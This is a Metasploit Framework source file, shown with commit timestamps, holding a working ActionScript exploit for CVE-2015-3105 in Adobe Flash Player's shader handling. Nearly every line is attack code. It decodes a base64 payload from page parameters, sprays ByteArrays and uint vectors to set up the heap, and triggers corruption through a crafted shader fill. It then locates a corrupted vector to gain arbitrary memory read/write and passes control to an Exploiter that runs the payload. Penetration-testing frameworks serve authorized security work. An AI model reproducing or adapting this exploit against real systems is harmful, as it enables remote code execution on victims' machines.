metasploit-framework/external/source/exploits/CVE-2015-3105/Exploit.as

238 lines
8.4 KiB
ActionScript
Raw Normal View History

2015-06-25 18:35:01 +00:00
package
{
import flash.display.Shader
import flash.display.Sprite
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
import flash.utils.ByteArray
import flash.geom.Point
import flash.utils.Endian
public class Exploit extends Sprite
{
2015-06-25 19:12:23 +00:00
private var uv:Vector.<uint>
2015-06-25 18:35:01 +00:00
private var canvas:Sprite
private var filler_shader:Shader
private var transformation_shader:Shader
private var top_middle:Point
private var bottom_left:Point
private var bottom_right:Point
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
[Embed ( source="test_bin.pbj", mimeType="application/octet-stream" ) ]
private static var FillerPbj:Class
[Embed ( source="pbsrc_bin.pbj", mimeType="application/octet-stream" ) ]
private static var TransformationPbj:Class
private var uint_vectors_length:uint = 70000
private var ba_vector_length:uint = 5000
private var ba_length:int = 0x2000
private var uint_vectors:Vector.<Object>
private var ba_vector:Vector.<Object>
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
2015-06-25 19:12:23 +00:00
canvas = new Sprite()
2015-06-25 18:35:01 +00:00
addChild(canvas)
var size:uint = 400
top_middle = new Point(size / 2, 10)
bottom_left = new Point(0, size - 10)
bottom_right = new Point(size, size - 10)
do_exploit()
}
private function do_exploit():void
{
2015-06-25 19:12:23 +00:00
setup_shaders()
apply_shader_to_exploit()
}
2015-06-25 18:35:01 +00:00
2015-06-25 19:12:23 +00:00
private function setup_shaders():void
2015-06-25 18:35:01 +00:00
{
2015-06-25 19:12:23 +00:00
transformation_shader = new Shader(new TransformationPbj())
2015-06-25 18:35:01 +00:00
2015-06-25 19:12:23 +00:00
ba_vector = new Vector.<Object>(ba_vector_length)
uint_vectors = new Vector.<Object>(uint_vectors_length)
2015-06-25 18:35:01 +00:00
// Initialize uint vectors
2015-06-25 19:12:23 +00:00
for(var i:uint = 0; i < uint_vectors_length; i++) // 70000
{
uint_vectors[i] = new Vector.<uint>()
}
2015-06-25 18:35:01 +00:00
// Allocate Byte Arrays
2015-06-25 19:12:23 +00:00
for(i = 0; i < ba_vector_length; i++) // 5000
{
ba_vector[i] = new ByteArray()
ba_vector[i].endian = "littleEndian"
ba_vector[i].length = ba_length // 0x2000
fill_byte_array(ba_vector[i], 0x35555555)
ba_vector[i].writeInt(0xbabefac0)
ba_vector[i].writeInt(0xbabefac1)
ba_vector[i].writeInt(i)
ba_vector[i].writeInt(0xbabefac3)
}
2015-06-25 18:35:01 +00:00
2015-06-25 19:12:23 +00:00
// Make holes
for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000
{
fill_byte_array(ba_vector[i], 0x37777777)
ba_vector[i].clear()
ba_vector[i] = null
}
2015-06-25 18:35:01 +00:00
// Setup shader
2015-06-25 19:12:23 +00:00
filler_shader = new Shader(new FillerPbj()) //test_bin.pbj
filler_shader.data.point1.value = [top_middle.x, top_middle.y]
2015-06-25 18:35:01 +00:00
filler_shader.data.point2.value = [bottom_left.x, bottom_left.y]
2015-06-25 19:12:23 +00:00
filler_shader.data.point3.value = [bottom_right.x, bottom_right.y]
}
2015-06-25 18:35:01 +00:00
2015-06-25 19:12:23 +00:00
final private function fill_byte_array(ba:ByteArray, value:int):void
{
2015-06-25 18:35:01 +00:00
ba.position = 0
var i:uint = 0
2015-06-25 19:12:23 +00:00
while (i < ba.length / 4)
{
ba.writeInt(value)
i = i + 1
}
2015-06-25 18:35:01 +00:00
ba.position = 0
return
}
2015-06-25 19:12:23 +00:00
private function apply_shader_to_exploit():void
{
try {
filler_shader.data.point3 = transformation_shader.data.positionTransformation27
} catch(err:Error) {
Logger.log("Error!")
}
2015-06-25 18:35:01 +00:00
filler_shader.data.color1.value = [1, 1, 1, 1]
// Trigger corruption with the hope of modify one of the sprayed byte arrays
canvas.graphics.clear()
canvas.graphics.beginShaderFill(filler_shader)
canvas.graphics.moveTo(top_middle.x, top_middle.y)
canvas.graphics.lineTo(bottom_left.x, bottom_left.y)
canvas.graphics.lineTo(bottom_right.x, bottom_right.y)
canvas.graphics.endFill()
// Search the BA whose data has been corrupted
var test:uint
var mod_idx:uint = 0xffffffff
for(var i:uint = 0; i< ba_vector_length; i++) { // 5000
2015-06-25 19:12:23 +00:00
if (ba_vector[i] != null) {
ba_vector[i].position = 32
test = ba_vector[i].readUnsignedInt()
if (test != 0x35555555) {
2015-06-25 18:35:01 +00:00
mod_idx = i
2015-06-25 19:12:23 +00:00
break
}
}
}
2015-06-25 18:35:01 +00:00
if (mod_idx == 0xffffffff) {
Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting")
return
}
2015-06-25 19:12:23 +00:00
// Clear the modified BA, we need a hole there =)
fill_byte_array(ba_vector[mod_idx], 0x39999999)
ba_vector[mod_idx].clear()
ba_vector[mod_idx] = null
// Fill the BA space with well positioned Vector.<uint>'s, hopefully...
for(i = 0; i < uint_vectors_length; i++) // 70000
{
uint_vectors[i].length = 0x13e
uint_vectors[i][0] = 0xcccccccc
uint_vectors[i][1] = i
uint_vectors[i][2] = 0xaaaaaaaa
}
2015-06-25 18:35:01 +00:00
// Corrupt again, hopefully one of our vector lengths =)
canvas.graphics.beginShaderFill(filler_shader)
var corrupted:uint = 0xffffffff
2015-06-25 19:12:23 +00:00
for(i = 0; i < uint_vectors_length; i++) // 70000
{
if (uint_vectors[i].length != 0x13e) {
2015-06-25 18:35:01 +00:00
corrupted = i
2015-06-25 19:12:23 +00:00
break
}
2015-06-25 18:35:01 +00:00
}
if (corrupted == 0xffffffff) {
Logger.log("[*] Exploit - apply_shader_to_exploit(): Corrupted vector not found... aborting")
return
}
var offset:uint = 0xffffffff
2015-06-25 19:12:23 +00:00
for(i = 0; i < 2048; i++)
{
if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc)
{
uint_vectors[corrupted][i] = 0xffffffff
2015-06-25 18:35:01 +00:00
offset = i
2015-06-25 19:12:23 +00:00
break
}
}
2015-06-25 18:35:01 +00:00
if (offset == 0xffffffff) {
Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting")
return
}
2015-06-25 19:12:23 +00:00
for(i = 0; i < uint_vectors_length; i++) // 70000
{
if (uint_vectors[i].length == 0xffffffff) {
uv = uint_vectors[i]
break
}
}
2015-06-25 18:35:01 +00:00
if (uv == null) {
Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting")
return
}
2015-06-25 19:12:23 +00:00
var my_offset:uint = 0x3ffffffe - offset - 2
uv[my_offset] = 0x13e
2015-06-25 18:35:01 +00:00
for(i = 0; i < ba_vector_length; i++) { // 5000
2015-06-25 19:12:23 +00:00
if (ba_vector[i] != null) {
ba_vector[i].clear()
ba_vector[i] = null
}
}
2015-06-25 18:35:01 +00:00
2015-06-25 19:12:23 +00:00
for(i = 0; i < uint_vectors_length; i++) // 70000
{
if (uint_vectors[i].length != 0xffffffff) {
2015-06-25 18:35:01 +00:00
delete(uint_vectors[i])
2015-06-25 19:12:23 +00:00
uint_vectors[i] = null
}
}
2015-06-25 18:35:01 +00:00
exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e)
2015-06-25 19:12:23 +00:00
}
2015-06-25 18:35:01 +00:00
}
}